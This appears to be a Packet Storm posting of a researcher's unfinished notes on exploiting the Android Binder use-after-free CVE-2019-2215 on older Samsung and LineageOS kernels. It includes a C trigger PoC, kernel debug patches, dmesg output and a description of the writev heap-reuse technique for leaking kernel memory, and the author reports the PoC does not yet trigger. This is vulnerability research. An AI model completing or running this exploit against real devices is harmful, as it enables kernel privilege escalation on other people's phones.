exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Android Binder Use-After-Free

Android Binder Use-After-Free
Posted Oct 18, 2019
Authored by Marcin Kozlowski

These are notes on further exploitation of the Android Binder use-after-free vulnerability as noted in CVE-2019-2215 and leveraged against Kernel 3.4.x and 3.18.x on Samsung Devices using Samsung Android and LineageOS.

tags | exploit, kernel
advisories | CVE-2019-2215
SHA-256 | e1a2e97063e031e1295f8213749b666e7722c92fde1fd5b0de1274b5316e32f1

Android Binder Use-After-Free

Change Mirror Download
# CVE-2019-2215

Source:

https://bugs.chromium.org/p/project-zero/issues/detail?id=1942

https://bugs.chromium.org/p/project-zero/issues/attachmentText?aid=414885


Samsung S7 and S7 Edge with Kernel 3.18.x seem not vulnerable (could be however, with more work with PoC adjustments). Could not see more, since don't have rooted devices.

Samsung S3Neo+ with LineageOS Kernel 3.4.0 possibly vulnerable (still in progress)

```

Kernel 3.4.0

https://github.com/S3NEO/android_kernel_samsung_s3ve3g/

No KASLR

No need to leak Kernel Struct Addresses.

binder_thread size:0xfc (252)

wait queue offset:0x2c (44)


Had to add at least 2 entries for it to trigger, with 1, it didn't trigger

https://github.com/S3NEO/android_kernel_samsung_s3ve3g/blob/348ef929213854f5c7ce6b608e2ca0216d6bdce7/fs/eventpoll.c#L533

PoC:


#include <fcntl.h>
#include <sys/epoll.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <stdio.h>


#define BINDER_THREAD_EXIT 0x40046208ul
#define BINDER_VERSION 0xc0046209ul

int main()
{
int fd,fd1,fd2, epfd,epfd1;
struct epoll_event event = { .events = EPOLLOUT };

fd = open("/dev/binder", O_RDONLY);
fd1 = open("/dev/random", O_RDONLY);
epfd = epoll_create(1000);
epfd1 = epoll_create(1000);


if (epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event)) err(1, "epoll_add");
if (epoll_ctl(epfd1, EPOLL_CTL_ADD, fd1, &event)) err(1, "epoll_add");




//ioctl(fd, BINDER_VERSION, NULL);

ioctl(fd, BINDER_THREAD_EXIT, NULL);
printf("Finished here.");
}


Modified binder.c and evenpoll.c in the Kernel to see what is happening

binder.c

static int binder_free_thread(struct binder_proc *proc,
struct binder_thread *thread)
{
struct binder_transaction *t;
struct binder_transaction *send_reply = NULL;
int active_transactions = 0;
static const size_t memberOffset = offsetof(binder_thread, wait);
wait_queue_head_t *wqhptr = &thread->wait;
wait_queue_head_t *pwqhptr = &proc->wait;
struct list_head *n1,*p1;

wait_queue_t *my2;


printk(KERN_INFO "iovec str size:%d",sizeof(iovec));
printk(KERN_INFO "thread->task_list:%p",(void *)&wqhptr->task_list);
printk(KERN_INFO "proc->task_list:%p",(void *)&pwqhptr->task_list);
list_for_each_safe(p1,n1, &pwqhptr->task_list){
my2 = list_entry(p1, wait_queue_t, task_list);
printk (KERN_INFO "p list= %p %p" ,(void*)my2->task_list.prev,(void*)my2->task_list.next);
}
list_for_each_safe(p1,n1, &wqhptr->task_list){
my2 = list_entry(p1, wait_queue_t, task_list);
printk (KERN_INFO "t list= %p %p" ,(void*)my2->task_list.prev,(void*)my2->task_list.next);
}

eventpoll.c

static void ep_remove_wait_queue(struct eppoll_entry *pwq)
{
wait_queue_head_t *whead;
wait_queue_t *strptr;
struct list_head *n1,*p1;

wait_queue_t *my2;


rcu_read_lock();
/* If it is cleared by POLLFREE, it should be rcu-safe */
whead = rcu_dereference(pwq->whead);
printk(KERN_INFO "whead before");

if (whead)
{
strptr=&pwq->wait;


list_for_each_safe(p1,n1, &pwq->whead->task_list){
my2 = list_entry(p1, wait_queue_t, task_list);

printk (KERN_INFO "my2= %p %p" ,(void*)my2->task_list.prev,(void*)my2->task_list.next);
}


remove_wait_queue(whead, &pwq->wait);
printk(KERN_INFO "remove wait queue:%p", (void*)&pwq->wait);
printk(KERN_INFO "remove wait queue task list:%p", (void*)&strptr->task_list);

I see the list is printed.....but during Android Bootup not my PoC:

During Android start

[ 84.747753] binder_ioctl: 1878:2371 40046208 0
[ 84.747765] iovec str size:8
[ 84.747771] thread->task_list:e4fb2e30
[ 84.747777] proc->task_list:e57d866c
[ 84.747784] p list= e57d866c e7fffe7c
[ 84.747790] p list= e656de7c e57d866c
[ 84.747797] binder_free_thread size:252 worker_off:44
[ 84.747804] freed thread:e4fb2e00

I see proc->task_list ...

PoC:

[ 642.254192] wq queue:e7ce8798
[ 642.254201] epoll struct:e7ce8780
[ 642.254214] wq queue:e7ce8f98
[ 642.254220] epoll struct:e7ce8f80
[ 642.254230] wq queue:e7ce8718
[ 642.254236] epoll struct:e7ce8700
[ 642.254266] binder_ioctl: 7392:7392 40046208 0
[ 642.254274] iovec str size:8
[ 642.254280] thread->task_list:e5389b30
[ 642.254286] proc->task_list:c309d86c
[ 642.254292] binder_free_thread size:252 worker_off:44
[ 642.254299] freed thread:e5389b00
[ 642.254736] ep_unregister_pollwait struct:e7ce8780 epi struct:e51d0480
[ 642.254792] ep_unregister_pollwait struct:e7ce8f80 epi struct:e51d0a80
[ 642.254799] ep_unregister_pollwait list not empty
[ 642.254805] whead before
[ 642.254811] my2= c0f50cc4 c0f50cc4
[ 642.254817] remove wait queue:e734b994
[ 642.254823] remove wait queue task list:e734b9a0
[ 642.254830] ep_unregister_pollwait list not empty
[ 642.254835] whead before
[ 642.254841] my2= c0f50cd0 c0f50cd0
[ 642.254847] remove wait queue:e734bb24
[ 642.254852] remove wait queue task list:e734bb30
[ 642.254863] ep_free
[ 642.254873] ep_free
[ 642.254881] ep_free

However bug is not triggered in my PoC. I cannot see doubly list entiries under thread and proc :/


Here is where the use after free bug should come in.

Code:

ioctl(binder_fd, BINDER_THREAD_EXIT, NULL);

When this is called, the binder_thread structure is freed in the kernel.

Immediately after the parent process calls:

Code:

b = writev(pipefd[1], iovec_array, IOVEC_ARRAY_SZ);

In the kernel, memory is allocated to copy over iovec_array from userspace. This poc depends on the pointer from this allocation, to be the same as the recently freed binder_thread memory.

Then, when the child process exits, the EPOLL cleanup will use the waitqueue in the binder_thread structure, that has been overwritten with the values in iovec_array. When EPOLL cleanup unlinks the waitqueue, 0xDEADBEEF will get overwritten by a pointer in kernelspace. This has to happen just before the writev call in the parent process starts to copy over the second buffer, which gets us a kernel space memory leak.

If writev is returning 0x1000 it means the timing is off, the wait queue offset is off, the kmalloc allocation in the writev function isn't the same as the freed binder_thread, or your kernel isn't vulnerable.

```

## Update 1

```
I narrowed it down ... so I want to replicate behavior of com.cyanogenmod.lockclock

It behaves like I want it to see:

s3ve3g:/ # ps | grep 2140
u0_a50 2140 257 845744 36336 sys_epoll_ b4ed9114 S com.cyanogenmod.lockclock

Source:

https://github.com/LineageOS/android_packages_apps_LockClock

[ 53.617686] binder_ioctl: 2140:2401 40046208 0
[ 53.617697] iovec str size:8
[ 53.617704] thread->task_list:e5b2c030
[ 53.617710] proc->task_list:e609206c
[ 53.617716] p list= e609206c e50c3e7c
[ 53.617722] p list= e50c5e7c e609206c
[ 53.617729] binder_free_thread size:252 worker_off:44
[ 53.617736] freed thread:e5b2c000
[ 53.617755] ep_unregister_pollwait struct:e5f5c680 epi struct:e5f4c280
[ 53.617762] ep_unregister_pollwait list not empty
[ 53.617768] whead before
[ 53.617773] my2= e8b10308 e8b10308
[ 53.617779] remove wait queue:e5fd755c
[ 53.617785] remove wait queue task list:e5fd7568
[ 53.617803] ep_free

I think Binder is used here:

https://github.com/LineageOS/android_packages_apps_LockClock/blob/5239d22272aa2b7a2bcf2c45482395da3e163289/src/org/lineageos/lockclock/DeviceStatusService.java

Any idea how to replicate this using C (native) code?


```

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close